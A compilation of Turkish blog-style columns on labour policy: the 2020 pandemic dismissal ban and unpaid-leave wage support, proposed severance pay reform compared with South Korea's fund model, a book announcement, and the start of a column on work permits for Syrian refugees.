11 Mart itibarıyla DSÖ tarafından pandemi olarak ilan edilen koronavirüs salgını bütün dünyada etkisini hissettirmeyi sürdürüyor. Pandemi sürecinde virüsün yayılımının engellenmesi amacıyla uygulanan karantina ve sokağa çıkma yasakları gibi tedbirler nedeniyle Mart ayı itibarıyla çalışma hayatı ve çalışanlara yönelik önlemler alınması gerekliliği doğmuştu. Bu çerçevede pek çok ülkede fesih yasağı, çalışma sürelerinin azaltılması, işçilerin ücretlerine yönelik devlet desteği sağlanması, çocuk bakımı gibi hizmetlerin desteklenmesi gibi önlemler alınmıştı. Ülkemizde de kısa çalışmanın merkezde olduğu bir politika bütünü hayata geçirilmişti. Fesih yasağı ve nakdi ücret desteği de bu kapsamda 17 Nisan tarihinden itibaren uygulanıyor.

Fesih Yasağı Ne Demek?

17 Nisan tarihinden itibaren uygulanmakta olan fesih yasağı hangi kanuna tabi olduğuna bakılmaksızın bütün işçilerin işten çıkartılmasını yasaklıyor. Yasağın tek istisnası, işçinin ahlak ve iyi niyet kurallarına aykırı davranışı. Dolayısıyla işverenler “ahlak ve iyi niyet kurallarına aykırı davranış” dışında hiçbir gerekçe ile işçi çıkartamıyor.

Fesih Yasağına Uymamanın Yaptırımı Ne?

Fesih yasağı kapsamındaki işçilerin işten çıkartılması halinde işverene iki yaptırım uygulanıyor. İlk yaptırım bu kapsamda işten çıkartılan her bir işçi için brüt asgari ücret tutarında idari para cezası. Yani işverenin yasak kapsamındaki işçiyi işten çıkarttığı tespit edildiğinde 2020 yılı için 2.943 TL idari para cezası ile cezalandırılıyor. Bundan daha ağır olan yaptırım ise feshin geçersiz sayılması. Örneğin 1 Mayıs’ta ahlak ve iyi niyet kurallarına aykırı davranışı nedeniyle işten çıkartılan bir işçi, başvuracağı yargı süreci sonunda feshe gerekçe gösterilen sebebin, hukuken “ahlak ve iyi niyet kurallarına aykırı davranış” olmadığı iddiasını ispatlarsa iş sözleşmesi fesih yasağına aykırı şekilde sonlandırılmış olacağı için yargı süreci boyunca çalışmadığı sürelere ilişkin ücret ve diğer haklarını işverenden alabileceği gibi işine geri dönme hakkına da sahip olacaktır.

Fesih Yasağının Amacı Ne?

Fesih yasağının amacı, çalışanların pandemi sürecinde işlerini kaybetmemesi. İş ilişkisinin sürdürülmesinin sağlanması ve bu sayede kişilerin işsiz kalmasının engellenmesi en önemli amaç. Mart ayıyla başlayan bu süreçte fesih yasağının bu anlamda çok önemli bir görev üstlendiğini ve yerinde olduğunu söylemek mümkün. Ancak fesih yasağının süresi uzadıkça amacından uzaklaşmaya, işçileri baskı altına alan bir araç, yargı yükü oluşturacak bir unsur haline dönüşmeye başladığı görülüyor.

Fesih Yasağı – Ücretsiz İzin – Nakdi Ücret Desteği Birlikte Uygulanıyor

Fesih yasağı pandemi sürecinde kitlesel işsizliğin engellenmesi adına hayata geçirilmiş bir uygulama. İşsizliğin engellenmesi amacının yanında çalışanların gelirlerinin de korunması amacıyla fesih yasağı, ücretsiz izin ve nakdi ücret desteği ile birlikte uygulanıyor. Koronavirüs salgınının yayılımının engellenmesine yönelik tedbirler kapsamında işyerlerinin kapatılması, sokağa çıkma yasakları ve karantina uygulamaları nedeniyle azalan mal ve hizmet talebi sonucu işyerlerinde hizmetine ihtiyaç duyulmamaya başlanan ancak fesih yasağı nedeniyle işten çıkartılamayan işçilerin ücretsiz izne çıkartılması ve bu süre için nakdi ücret desteğinden faydalanmaları sağlanıyor. Hangi işçinin ücretsiz izne gönderileceği kararı ise tamamen işverene ait. İşçinin “ücretsiz izne çıkmıyorum çalışmaya devam edeceğim” deme hakkı yok. Ücretsiz izne çıkartılan işçiye, ücretsiz izinde olduğu her gün için 39,24 TL nakdi ücret desteği ödeniyor. Bu sayede çalışmadığı günlerde gelir kaybının engellenmesi hedefleniyor.

Fesih yasağı hayata geçirildiğinde kitlesel işsizliği önlenmesi, pandemiye karşı alınacak katı tedbirler nedeniyle çalışanların psikolojik olarak yaşayabilecekleri olumsuzlukların engellenmesi adına yerinde bir uygulamaydı. Fesih yasağı bu kapsamda 3 aylık bir periyot için uygulanmak üzere hayata geçirilmişti. Ancak 17 Nisan – 17 Temmuz arasında uygulanan fesih yasağı Cumhurbaşkanı kararıyla 17 Eylül tarihine kadar uzatıldı. Ayrıca fesih yasağının süresinin 30 Haziran 2021 tarihine kadar uzatılması yetkisi de Cumhurbaşkanına verilmiş durumda. 17 Eylül yaklaşırken fesih yasağı ve paralelindeki ücretsiz izin ve nakdi ücret desteği uygulamasının süresinin uzatılması yönünde beklenti söz konusudur. Bu beklenti gerçekleşirse 3 ay daha fesih yasağının uzatılması söz konusu olacak.

Fesih Yasağının Doğurduğu Sorunlar

17 Nisan’dan beri uygulanmakta olan fesih yasağı – ücretsiz izin – nakdi ücret desteği ilk aşamada üstlendiği rolü başarıyla yerine getirdi. Ancak fesih yasağının süresinin uzaması işyerlerinde olumsuz durumların yaşanmasına neden olmaya başladı. Diğer yandan işçilerin fesih yasağı nedeniyle mağduriyetleri de oluşmaya başladı.

  1. Fesih yasağı işverenin baskı aracı haline gelmeye başladı,

Fesih yasağı kapsamında iş sözleşmelerinin işveren tarafından feshedilememesi ancak işçilerin ücretsiz izne gönderilemesi, işverenin elinde işçileri baskı altında tutmak için bir araç haline gelmeye başladı. İşverenin işyerinde koronavirüs yayılımının engellenmesine yönelik olarak gerekli tedbirleri almaması, işçileri fazla mesai yapmaya zorlaması, ücretleri eksik ya da geç ödemesi ve bu nedenle işçilerin işverene karşı seslerini yükseltmeleri halinde ücretsiz izne gönderilmekle tehdit edildiğine dair pek çok şikayet söz konusu. Fesih yasağı bu anlamda işverenlerin işçileri baskı altında tutma ve işyerinde çalışma disiplini sağlama aracı haline gelmiş durumda.

  • İşsizlik maaşı alma hakkı olan işçiler istifa etmek ve maaş hakkını kaybetmek durumunda kalıyor,

İşsizlik maaşı alabilmek için en önemli şart, kendi istek ve iradesi dışında işsiz kalmaktır. Dolayısıyla istifa eden çalışanlar işsizlik maaşı alamazlar. İşsizlik maaşı alabilmek için gerekli prim ödeme şartlarını tamamlamış bir işçi fesih yasağı süresince işveren tarafından işten çıkartılamadığı için hak etmiş olsa da işsizlik maaşı yerine nakdi ücret desteği almak durumunda kalıyor. Böyle olunca da asgari ücretten yüksek maaşı olan işçilerin gelir kaybı söz konusu oluyor.

  • Kıdem tazminatına erişim hakkı sınırlanıyor,

Fesih yasağı nedeniyle işten çıkartılamayan ve işyerinde en az 1 yıldır çalışmakta olan işçilerin kıdem tazminatına erişim hakkı fesih yasağı nedeniyle sınırlandırılmış oluyor. Kıdem tazminatı alabilmek için işten çıkış nedeni çok önemlidir. Bazı istisnalar dışında istifa eden çalışan kıdem tazminatı alamaz. Fesih yasağı süresince işveren tarafından işten çıkartılma da söz konusu olmadığı için işçilerin kıdem tazminatı haklarına erişimleri sınırlandırılmış durumda. Fesih yasağı söz konusu olmasaydı işyerlerinin ekonomik olarak zor durumda olmaları nedeniyle işten çıkartma nedeniyle kıdem tazminatlarını ödememeleri durumu yaşanabilecekti. Ancak şu an için fesih yasağı nedeniyle bu sorunun çözülmediği yalnızca ötelendiğini söylemek mümkün. Yasağın kalkması sonrası bu sorun tekrar gündeme gelecektir.

  • Fesih yasağı yargı yükünü artıracak,

Fesih yasağı süresince kimlerin hangi gerekçe ile ücretsiz izne gönderileceği tamamen işverenin insiyatifinde. Ancak hukuken bu seçimin objektif kriterlere dayanması gerekiyor. Örneğin muhasebe biriminde üç işçi çalışırken bu üç işçiden yalnızca bir tanesinin sürekli bir şekilde ücretsiz izne gönderilmesi diğer iki işçinin bu süreçte fazla mesai yaptırılarak çalıştırılması, işverenin bu hakkını hukuka uygun olarak kullanmadığı anlamına gelecektir. Bu gibi durumlarda işçi mahrum kaldığı ücret ve ücrete bağlı haklar için yargı yoluna başvuracaktır. Diğer yandan ücretsiz izinde geçirilen sürelerin kıdem ve ihbar tazminatı, yıllık izin hak edişi, iş güvencesi için gerekli altı aylık süre ve deneme süresi bakımından çalışılmış süreler olarak değerlendirilip değerlendirilmeyeceği konuları önümüzdeki dönemde mahkemelerin gündemini oluşturacaktır. Fesih yasağının süresinin uzaması ilerleyen dönemde bu konuda karşılaşılabilecek uyuşmazlıkların sayısını artıracaktır. 3 ila 6 ay arasındaki ücretsiz izin süreleri sorun oluşturmayabilir. Ancak sürenin 9 aya uzaması bu konudaki uyuşmazlık sayısını artıracaktır.

  • Değişen mal ve hizmet talepleri iş değişikliğini gerekli kılıyor,

Pandemi sürecinde bazı sektörlerde olan talep çok azaldı. Ayrıca tüketim alışkanlıkları ve biçimleri de değişti. Alışveriş merkezleri içerisindeki mağazalara olan talep azalırken, internet üzerinden gerçekleştirilen alışverişlerin miktarı çok arttı. Bu değişim bazı sektörlerdeki işgücü ihtiyacını da artırdı. Kargo, kurye, lojistik, çağrı merkezi gibi sektörlerde pandemi öncesinden daha fazla sayıda kişiye istihdam imkanı var. Ancak fesih yasağı nedeniyle işçiler mevcut işlerinden istifa edip farklı sektörde ihtiyaç olan işyerlerinde işe başlayamıyorlar. Bu durum da istenmeyen sonuçlara neden olabiliyor. Bazı işçiler nakdi ücret desteği geçinmeye yetmediği için bir yandan nakdi ücret desteği alıp diğer yandan kayıt dışı olarak başka bir işte çalışıyor, bazı işçiler ise kıdem tazminatından vazgeçerek istifa etmek zorunda kalıyor.

Bütün bu olumsuzluklar nedeniyle pandeminin ilk günlerinde belirlenen amacı yerine getiren ancak uygulanma süresi uzadıkça işçi aleyhine sonuçlar doğurmaya başlayan fesih yasağı – ücretsiz izni – nakdi ücret desteği politika bileşeninin revize edilmesi gerekiyor. Fesih yasağı kitlesel işsizliğin önüne geçilmesi anlamında olumlu sonuçlar doğurdu. Normalleşme sonrasında ise fesih yasağının uzatılması beklenene etkisi dışında olumsuz sonuçlar üretmeye başladı. Bu nedenle normalleşme teşviki ile birlikte işverenlerin fesih yasağı da kaldırılmalı ve bu süreçte işten çıkartılacaklara yönelik koruma tedbirleri hayata geçirilmeli. İşsizlik maaşı alma kriterlerinin fesih yasağının kalktığı tarihten sonra işten çıkartılanlar için esnetilmesi, bu kişilere yönelik sosyal yardım yapılması ve bu yardımın istihdamdan bağımsız şekilde gerçekleştirilmesi ile işsizlik engellenemese de işsiz kalan kişilerin refahı sağlanabilecektir. Diğer yandan fesih yasağının hali hazırda ortaya çıkmış ve ileride ortaya çıkabilecek olumsuz etkileri de önlenmiş olacaktır.

 

Kıdem Tazminatında reform yapılacağı Yeni Ekonomi Programında yer aldığından beri reformun nasıl yapılacağı merak ediliyor. Daha önce gündeme gelen taslaklarda Brezilya, Avusturya, Şili, İtalya gibi kıdem tazminatının fon şeklinde uygulandığı ülkelerin ismi pek çok kez gündeme gelmişti. Bu ülkedeki modellerin örnek alınabileceği konuşulmuştu. Yeni Ekonomi Programında bireysel emeklilik sistemi ile kıdem tazminatının entegre edileceği ifade edilince Güney Kore’de uygulanan modelin örnek alınabileceği gündeme geldi. Peki, Güney Kore’de sistem nasıl işliyor, Türkiye’deki mevcut sistem ile benzerlikler ve farklılıklar ne, Güney Kore’deki sistemin bazı unsurları Türkiye için uygulanabilir mi?

Güney Kore Karşılaştırma İçin Doğru Örnek mi?

Öncelikle şunu ifade etmek gerekir ki, çalışma hayatındaki tek bir uygulamayı, başka bir ülke ile karşılaştırmak eksik ve hatalı değerlendirmelere neden olabilir. Çalışanların refahını sağlayan uygulamaların tamamı üzerinden bir değerlendirme yapılması gerekir. Yani Güney Kore’deki kıdem tazminatı sistemi değerlendirilirken, Güney Kore’nin ekonomik durumu, gayri safi yurt içi hasılası, işsizlik sigortasının cömertliği gibi unsurlar birlikte değerlendirilmelidir. Aksi taktirde yalnızca kıdem tazminatı üzerinden yapılacak bir karşılaştırma eksik kalacağı gibi kıdem tazminatının toplumsal ve kültürel boyutunun ve taşıdığı anlamın dışlanmasına neden olacaktır. Örneğin ülkemizde kadın çalışanlara sağlanan evlendikten sonra bir yıl içerisinde istifa ederek kıdem tazminatı alma hakkının toplumsal bir boyutu bulunuyor. Çalışma hayatında bu tip toplumsal değer taşıyan hususların etraflıca değerlendirilmesi şart.

Güney Kore 50 Milyon nüfuslu, OECD ülkeleri içerisinde yüksek gelirli ülkeler içerisinde yer alan, kişi başına düşen milli gelirin 37 Bin 142 Dolar olduğu, yüzde 10’luk bir sendikalaşma oranının söz konusu olduğu, işsizlik sigortasının Türkiye’den daha az cömert olduğu ve enformel ekonominin toplam içerisindeki payının yüzde 27,5 civarında olduğu bir ülke. Dolayısıyla kişi başına düşen milli gelir dışında, sendikalaşma oranı ve enformel ekonomi konusunda Türkiye ve Güney Kore’nin önemli benzerliklerinin olduğu söylenebilir. Diğer yandan Türkiye’deki işsizlik sigortasının işsizlik ödeneği anlamında cömert, ancak hak kazanma koşulları bakımından katı olduğunu vurgulamak gerekiyor.

Kore Ne Zaman Reform Yapmış?

Güney Kore’de kıdem tazminatı reformu 2005 yılında reform yapılmış. Bu tarihte yapılan reform ile işten çıkış halinde ödenen kıdem tazminatı, işyeri temelli bir fona çevrilmiş. İşverenlerin kendisine bağlı en az bir yıl çalışan işçiler için fon şeklinde yürüttükleri bir yapı hayata geçirilmiş. Bu sistem hayata geçince 1953’ten beri uygulanan ve Türkiye’de şu an için uygulanan sistemde olduğu gibi hem işsizlik sigortası, hem kıdem tazminatı fonksiyonu gören sistem terkedilerek emeklilik halinde elde edilen bir tazminat modeline geçiş yapılmış. 1995 yılında Kore’de işsizlik sigortası uygulanmaya başlanmış ve 2005 yılında da kıdem tazminatında reform yapılmış. Kore’de kıdem tazminatının işyeri temelli bir fon sistemine dönüştürülmesinin arkasında yatan en önemli neden ise emekli aylıklarının giderek düşmesi ve emeklilerin gelirlerinin düşmesi olmuş. Dolayısıyla şu an Türkiye’nin bulunduğu durum ile benzer nedenlerle reformu gerçekleştirildiğini söylemek mümkün.

Sistem Nasıl İşliyor?

Kore’deki sistem tamamen fon şeklinde işliyor. İşverenler kendilerine bağlı olarak haftada en az 15 saat ve en az bir yıl çalışmış işçiler için emeklilik planları başlatıyorlar. Bu planlar çerçevesinde çalışanların, çalıştıkları her bir yıl için en az bir aylık brüt ücret tutarında gelir elde etmeleri garanti altına alınıyor. Çalışanlar isterlerse kendileri de bireysel emeklilik fonları açarak sistemde kendi adlarına biriken parayı artırabiliyorlar. Dolayısıyla bireysel emeklilik sözleşmeleri ile işverenlerin ödedikleri primler ile büyüyen zorunlu emeklilik sözleşmeleri birlikte değerlendirilebiliyor. Yeni Ekonomi Programında belirtilen entegrasyon ve bireysel hesaba dayalı sistem Kore’de uygulanıyor. Bu sayede ülkede emeklilik fonları önemli bir büyüklüğe ulaşmış durumda.

İşverenlerin ödedikleri zorunlu emeklilik primindeki en kritik nokta çalışanların emeklilik planlarında biriken paranın çalıştıkları her bir yıl için en az bir aylık maaşları karşılığı olmasının garanti edilmesi. Dolayısıyla işverenler hesaplara bu çerçevede belirlenen tutar kadar prim ödüyorlar. Bu husus Türkiye’de de uygulanırsa sendikaların fona yönelik tutumları değişebilecektir. Sendikalar kıdem tazminatının fona dönüştürülmesine en çok bir yıl çalışma karşılığı bir aylık brüt ücret tutarındaki tazminatın sağlanamayacağı nedeniyle karşı çıkıyor. Fon sisteminde bir yıllık çalışma karşılığı bir aylık ücret tutarındaki tazminatın korunacağı garanti altına alınırsa sosyal tarafların mutabakatı sağlanabilir.

Çalışan Ne Zaman Fonda Biriken Parayı Alabiliyor?

Kore’de çalışanlar işverenleri tarafından açılan emeklilik planlarında biriken tutarı emekli olduklarında alabiliyorlar. Dolayısıyla Kore’de kıdem tazminatı yalnızca emeklilik halinde elde edilebilen bir hak durumunda ve bir tazminattan ziyade ikinci bir emekli aylığı gibi uygulanıyor. Bunun bir tek istisnası çalışanın ev alacak olması ve uzun süreli hastanede yatması gereken bir hastalığının bulunması. Bu noktada eğer Kore modeli tercih edilecek ise Türkiye’de kıdem tazminatının işsizlik halinde gelir sürekliliği sağlama fonksiyonu ortadan kalkacağı için işsizlik sigortasından daha fazla kişinin yararlanmasını mümkün kılan bir düzenlemenin yapılması gerektiği görülüyor.

Geçiş Nasıl Sağlanmış?

Kıdem tazminatında reform yapılırken sosyal tarafların özellikle fonksiyon değişikliği nedeniyle reforma direnç göstermesi söz konusu oluyor. Bu durum Kore’de de yaşanmış. Özellikle 2005 yılında reform hayata geçtiğinde mevcut çalışanlar için tercih hakkı tanınması nedeniyle yeni sisteme katılım düşük oranda kalmış. İlk etapta yalnızca çalışanların yüzde 26’sı yeni sisteme geçmeyi tercih etmiş. Bu durumun aşılması için işverenlerin çalışanları için ödedikleri primleri kurumlar vergisinden muaf tutulmasına yönelik düzenleme yapılmış. 2011 yılında yapılan bu düzenlemeden sonra sisteme katılımın artması söz konusu olmuş. Dolayısıyla Türkiye’de de bu yönde bir düzenleme yapılması gerektiği görülüyor. Bu noktada devlet katkısı ve fona devlet güvencesinin de gündeme gelmesi gerekecektir.

 

Kıdem tazminatı konusu yeniden gündemde. Reform, bireysel emeklilik sistemi ile entegrasyon ve fon önümüzdeki dönemde en çok duyacağımız kelimeler haline geldi. Çok kısa birkaç soruyla konuyu özetlersek fonun hayata geçip geçmeyeceğini tahmin etmek mümkün olabilir.

  1. Kıdem tazminatında reforma gerek var mı?

Kıdem tazminatı konusunda mevcut sorunları çözebilecek bir reform gerekli. Kıdem tazminatının daha fazla işçi için erişilebilir olması, kıdem tazminatının hesabı ve tahsilatındaki sorunları ortadan kaldırıcı, tazminatı güvence altına alacak bir reform bütün tarafları memnun edecektir.

  1. Kıdem tazminatında reformu kim, neden istiyor?

Kıdem tazminatında reformu en çok devlet istiyor. Bunun da en önemli nedeninin ekonomiye fon kazandırmak olduğu anlaşılıyor. Bu durum da işçi kesimini en çok rahatsız eden nokta aslında. İşçi kesiminde ise bölünmüş bir yapı var. Türk – İş daha önce pek çok kez bu konuyu “kırmızı çizgi” olarak ifade etmişti. Ancak zaman içerisinde hak kaybı olmadan bir fon oluşturulabilir gibi açıklamalar geliyor Türk – İş tarafından. DİSK tam anlamıyla fona karşı. Hak – İş ise fon ile ilgili endişelerini belirtti. Sendikalar genel anlamda üyelerinin mevcut haklarından geriye gidiş doğurabilecek bir düzenlemeye imza atmamak yönünde tavır gösteriyorlar ve bu son derece normal. Ancak sendikaların örgütlülük düzeyi çok düşük. Dolayısıyla kıdem tazminatı konusunda işçi sendikalarının üyelerinin memnun edilmesi konunun çözümü anlamına gelmiyor. Bu nedenle mevcut sistemin sorunlarını bütün işçi kesimi açısından çözecek bir yapı ortaya çıkarsa sendikaların tavrı değişebilir. Bunun da en önemli şartı fon oluşturulacaksa fona devlet güvencesi getirilmesi gibi duruyor. Aksi taktirde işçi sendikaları haklı olarak konuya muhalefet edecektir. Bunun yanında fona devlet katkısı da kaçınılmaz. Aksi taktirde zaten hak kaybı doğurmayacak bir yapının oluşturulması mümkün değil. İşveren kesimi yalnızca kendisinin prim ödediği bir fona razı gelmeyecektir. Diğer yandan işveren kesiminin bu konuda “nasıl olsa fon hayata geçmez” düşüncesiyle bugüne kadar fonu destekler tavır aldığını düşünüyorum. İşveren kesiminin işçisini işyerinde tutmayı zorlaştıracak, çalıştırdığı her işçi için her ay prim ödeyeceği bir sisteme taraftar olması çok akla yatkın gelmiyor. Bu nedenle şu an fonun önündeki engel işçi sendikaları gibi gözükse de, işveren kesiminin de fona taraftar olacağını zannetmiyorum.

  1. Kıdem tazminatının fona dönüştürülmesi için nasıl bir takvim öngörülüyor?

Yeni ekonomi programında kıdem tazminatı reformu için takvim yıl sonu olarak belirlenmiş durumda. Ayrıca tüm paydaşların katılımı da programda vurgulanmış. Bu nokta çalışma hayatının en hassas konularından birisi olan kıdem tazminatı hakkında bütün sosyal tarafların mutabakatının aranacağını net bir şekilde işaret ediyor. Kıdem tazminatının fona dönüştürülmesi ile ilgili olarak geçtiğimiz yıllarda kanun taslakları hazırlanmış ve bazı taslaklar sosyal taraflarla paylaşılmıştı. Hatta uzun yıllar sonra toplanan Çalışma Meclisinde konu değerlendirilmişti. Ancak sosyal taraflar bir metin üzerinde mutabakata varamayınca konu rafa kalkmıştı. Bu nedenle kıdem tazminatı reformu konusunda adım atmak için acele edilmemesi çok önemli. Özellikle işçi kesimi daha önce pek çok kez kıdem tazminatını “kırmızı çizgisi” olarak ifade etti. Bu hassasiyetler dikkate alınarak, geniş katılımlı ve şeffaf bir süreç yürütülerek reformun hayata geçirilmesi çok kritik.

  1. Nasıl bir fon hayata geçirilmeli?

Kıdem tazminatı reformu çerçevesinde kıdem tazminatının fona dönüştürülmesi gerçekleşecek ise bu konuda mevcut sistemin sorunlarını aşacak bir yapının oluşturulması gerekiyor. Mevcut sistemde işçilerin en büyük endişesi kıdem tazminatına hak kazansalar dahi işverenden bu parayı tahsil etmek oluyor. Bunun yanında işverenlerin pek çok kez işçilere kıdem tazminatı ödememek için gerçek nedenlerin dışında nedenlerle işten çıkarttığını biliyoruz. Bu durum hem işçilerin hak kaybı yaşamasına, hem de mahkemelerin ve arabulucuların iş yükünün artmasına neden oluyor. İş mahkemeleri ve arabuluculuk çerçevesindeki iş uyuşmazlıklarının çok önemli bir bölümü kıdem tazminatı konusunda. Ayrıca kıdem tazminatının hesaplanması konularında da işçi – işveren uyuşmazlıkları yaşanıyor. Hayata geçirilecek fon sisteminde işçilerin bu endişelerinin önüne geçilmesi ve işçi ile işvereni uyuşmazlığa itecek nedenleri ortadan kaldırıcı yapının kurulması gerekiyor. Dolayısıyla bireysel hesaba dayalı, şeffaf bir fon yapısının kurulması çok önemli. Bu sayede işçiler, kıdem tazminatı fonunda biriken parayı görebilecek, kıdem tazminatım ödenir mi, ödenmez mi, ya da eksik mi ödendi endişesi yaşamayacaktır. Bireysel hesaba dayalı bir fon yapısının kurulması bu açıdan çok kritik. Fonun elektronik alt yapısının da sağlam kurulması sağlanmalı ve işçiler kendi adlarına fonda biriken parayı sürekli bir şekilde takip edebilmeliler. Ayrıca işten ayrılış sebebinin kıdem tazminatına hak kazanma konusunda etkisinin olmamasının sağlanması işçilerin işgücü piyasasında daha mobil hale gelmesini ve yalnızca kıdem tazminatını kaybetmemek adına mutsuz olduğu bir işyerinde çalışmaya devam etmemesini sağlayacaktır. Ancak bu noktada işverenlerin işçi tutma konusundaki endişelerini giderici ve aynı işverene bağlı uzun süre çalışmayı teşvik edici uygulamaların sisteme dahil edilmesi de gerekiyor. Bu sayede denge sağlanacak ve çalışma hayatında verimlilik ön plana çıkacağı gibi iş barışı da zarar görmeyecektir.

Kıdem tazminatı fona dönüştürüldüğünde fonun yönetiminin bağımsız olması, fondaki paraya devlet garantisi sağlanması da çok önemli. Ne yazık ki ülkemizde fon yönetimi konusunda yaşanan geçmiş tecrübeler olumlu olmadığı için, işçiler kıdem tazminatının fona dönüştürülmesi halinde fon yönetiminin iyi yapılamamasından endişe ediyorlar. Bu endişenin ortadan kaldırılması adına, fonun amacı dışında kullanılmayacağı ve fonda birikecek paraya devlet garantisi sağlanması konusunda gerekli düzenlemeler yapılmalı.

  1. Mevcut çalışanlar reformdan nasıl etkilenecek?

Kıdem tazminatı reformu çerçevesinde fon sistemi hayata geçerse, bu konuda bir tarih belirlenmesi ve bu tarihten sonra işe girenlerin kapsama alınması söz konusu olacaktır. Hali hazırda çalışan kişiler için ise şu anki düzenleme olan 1475 sayılı İş Kanununun 14. Maddesi uygulanmaya devam edecektir. Diğer yandan düzenleme hayata geçmeden önce çalışmaya başlayanlar için tercihli bir sistem de öngörülebilir. Dolayısıyla belirlenen takvime sadık kalınabilir ve yılsonunda fon sistemi hayata geçerse, 2020 yılından itibaren işe giren çalışanlar için fon sistemi uygulanacaktır. Bu tarihten önce çalışmaya başlayanlar için ise ikili bir ayrıma gidilebilir. Mevcut sistemde aynı işverene bağlı olarak en az bir yıl çalışması bulunan kişiler kıdem tazminatına hak kazanabiliyor. Fon hayata geçtiğinde henüz kıdem tazminatına hak kazanmamış işçiler, işverenleri ile anlaşarak fon sistemine dahil olabilirler. Kıdem tazminatına hak kazanmış işçiler için de tercihli bir yapı öngörülebilir. Ancak her halükarda fon belirlenen tarihten sonra ilk kez çalışmaya başlayan kişilere otomatik olarak uygulanacak, hali hazırda çalışan kişiler için hak kaybı sağlanmayacaktır. Hali hazırda çalışan ve kıdem tazminatına hak kazanmış işçiler için fona geçişi cazip kılacak düzenlemeler öngörülebilecektir.

  1. Bireysel emeklilik sistemi ile entegrasyonun amacı ne?

Yeni Ekonomi Programında kıdem tazminatı fonunun bireysel emeklilik sistemi ile entegre edileceği yönünde bir ifade bulunuyor. Bu ifadenin nasıl hayata geçirileceği önümüzdeki günlerde netleşecektir. Bireysel emeklilik sisteminde sağlanan devlet desteği ile çalışanların hesaplarında biriken tutarlara, kıdem tazminatı fonundaki miktarın da eklenmesi öngörülüyor ise bu durumda işçilerin daha yüksek birikim elde etmeleri söz konusu olacaktır. Bu açıdan fon işçiler açısından daha cazip hale gelebilir. Diğer yandan bireysel emeklilik sistemi, otomatik katılımlı bireysel emeklilik sistemi ve kıdem tazminatı çerçevesinde adına hesapları olan bir işçinin her üç hesabı birlikte takip edebileceği bir entegre yapı sağlanması gerekliliği de ortaya çıkacaktır. Bu çerçevede finansal entegrasyonu üst düzey sağlanmış bir yapının hayata geçirilmesi kritik. Bireysel emeklilik sisteminde hali hazırda yetkili şirketlerin kıdem tazminatı fonu ile entegrasyonunun ne şekilde sağlanacağı ve bu iki yapının birlikte yönetimi konusundaki yetki belirlemesi de fon hayata geçirilirken mesai harcanacak konular arasında yer alıyor. Diğer yandan özellikle asgari ücret ile asgari ücretin biraz üzerinde ücretlerle çalışan işçilerin zorunlu ve bireysel emeklilik sistemi çerçevesinde bir sözleşmeleri bulunmuyor ise entegrasyon çerçevesinde finansal birikim sağlanacak destekten yararlandırılmasının sağlanıp sağlanmayacağı da çok önemli olacaktır. Bu durumda entegrasyondan işçinin fayda sağlaması fonu cazip kılacaktır.

  1. Hak kaybı olmadan fon hayata geçirilebilir mi?

Kıdem tazminatı fonu konusunda daha önce hazırlanan kanun taslaklarında mevcut sistemden farklı olarak yalnızca emeklilik ve birkaç istisnai durumda işçilerin kıdem tazminatı fonunda biriken paraları alması öngörülmüştü. Bu çerçevede hazırlanan taslaklardaki birikim senaryoları işçilerin 15 – 20 – 25 yıl gibi sürelerde çalışmaları halinde mevcut sistemdeki hakları olan her bir yıl için 30 günlük brüt ücret tutarındaki tazminatlarını koruyamadıkları görülmüştü. Bu sorunun aşılması için bireysel emeklilik sistemi ile entegrasyon veya devlet katkısı ile desteklenmiş bir yapı hayata geçirilir ise hak kaybı doğmadan fon hayata geçebilir. Diğer yandan işçi kesiminin bu konudaki hassasiyeti dikkate alınarak, finansal okur yazarlık seviyesi fark etmeksizin, bütün işçilerin en alt seviyede dahi hak kaybı yaşamayacağı bir sistemin hayata geçirilmesi sağlanmalı. Bu sağlanamayacak ise bu konudaki diğer enstrümanların nasıl kullanılacağı konusunda sendikalara yetki verilmeli ve sendikaların bu konuda etkin görevler üstlenmesi sağlanmalı.

Fon işçilerin hak kaybına ve istihdam daralmasına neden olmadan hayata geçirilebilir; daha fazla işçinin tazminata erişebilmesi, şanslı azınlık yerine bütün işçilerin kıdem tazminatından yararlanabilmesi, birikimlerin sürekli bir şekilde takip edilebilmesi, işçi – işveren uyuşmazlıklarının azalması sağlanırsa tam anlamıyla bir reform olacaktır. Reformun hedefleri bu şekilde belirlendikten sonra çalışma hayatının sosyal tarafları masada bütün durum ve senaryoları değerlendirip bu yapıyı oluşturabilecek metni ilgili bütün kamu kurum ve kuruluşları ile birlikte hazırlayıp değerlendirerek reform metni hayata geçirilebilecektir.

 

 

Editörlüğünü Doç. Dr. Erdinç Yazıcı’nın üstlendiği, bölümümüzün kurucusu Prof. Dr. Kamil TURAN’ın aziz hatırasına atfedilen ve benim de “Küresel Endüstri İlişkileri: İki Bin Sonrası Yeni Durum / Yeni Yaklaşımlar” makalesiyle katkıda bulunduğum Klasikten Küresele Endüstri İlişkileri kitabı yayımlanmıştır.

Tüm yararlanıcılar için faydalı olması dileklerimle.

Kitaba Erişmek İçin

İstihdamda 3i’nin son sayısına “Ulusal İstihdam Stratejisi Sosyal Taraflar İçin Ne Öngörüyor” başlıklı bir makale yazdım.

Buradan ulaşılabilir.

http://www.iskur.gov.tr/default/Yayinlar/3i.aspx

SURİYELİLERE ÇALIŞMA İZNİ VE SOSYAL YARDIM HAKKI KARGAŞAYA NEDEN OLUR MU?

Türkiye yaklaşık 4 yıldır kendi ülkelerindeki zulümden kaçan Suriyelilere ev sahipliği yapıyor. Başbakanlık Kamu Diplomasisi Koordinatörlüğü’nün verilerine göre Türkiye’nin çeşitli şehirlerinde 900 Bine yakın Suriyeli yaşıyor. 219 Bin civarında Suriyeli ise barınma merkezlerinde hayatlarını sürdürüyor. Toplamda 1 Milyondan fazla Suriyelinin ülkemizde bulunduğunu görüyoruz. Bu rakam her geçen gün artıyor.

Bu süreçte maalesef ortaya vicdanları yaralayan sahneler ortaya çıktığı gibi özellikle sınır illerinde Suriyelilere karşı tepkiler de yaşandı. Çünkü büyükşehirlerdeki Suriyeli profili ile sınır illerindeki profil biraz farklı. Şanlıurfa, Gaziantep, Osmaniye gibi illerde Suriyeliler bir şekilde dükkân açıp ticarete başladıkları gibi artık işgücü piyasası açısından da büyük bir kitle haline geldiler. Bunun yanında esnafın Suriyelilerle farklı bir ilişkisi olduğu gibi Suriyelilerin emlak piyasasını bile hareketlendirebilecek çapta etkilerin olması söz konusu. Büyükşehirlerde ise Suriyelilerin daha çok dilencilik ve kırmızı ışıklarda cam silmek gibi bazı işler yapabildiklerini görüyoruz.

